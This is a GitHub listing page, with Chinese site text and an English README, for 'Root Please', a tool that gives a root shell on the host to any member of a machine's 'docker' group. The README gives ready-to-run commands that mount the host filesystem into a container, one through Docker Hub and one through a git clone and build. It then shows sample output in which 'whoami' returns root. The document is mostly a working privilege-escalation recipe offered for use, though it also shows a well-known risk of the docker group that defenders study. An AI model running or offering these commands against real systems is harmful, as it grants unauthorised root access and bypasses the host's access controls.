项目
在 GitHub 查看
chrisfosterelli/dockerrootplease
关于
Gives you root on the hostOS, if you're a member of the 'docker' group.
系统与基础设施实测星标增长
- 24小时
- 0
- 7天
- +1
- 15天
- +1
- 1个月
- 正在收集历史
各周期内的星标净变化,周期相互重叠,并非每日新增。缺失的测量保持空白。星标代表关注度,不代表软件质量。
README.md
原文Root Please
If you're a member of the 'docker' group on a machine, this command gives you a root shell on the host OS. See my blog post for details.
How to Use
Through Docker Hub:
> docker run -v /:/hostOS -it --rm chrisfosterelli/rootplease
Or through Github:
> git clone https://github.com/chrisfosterelli/dockerrootplease rootplease
> cd rootplease/
> docker build -t rootplease .
> docker run -v /:/hostOS -it --rm rootplease
And the result:
johndoe@testmachine:~$ docker run -v /:/hostOS -it --rm chrisfosterelli/rootplease
You should now have a root shell on the host OS
Press Ctrl-D to exit the docker instance / shell
# whoami
root
#
探索相关项目
加载中…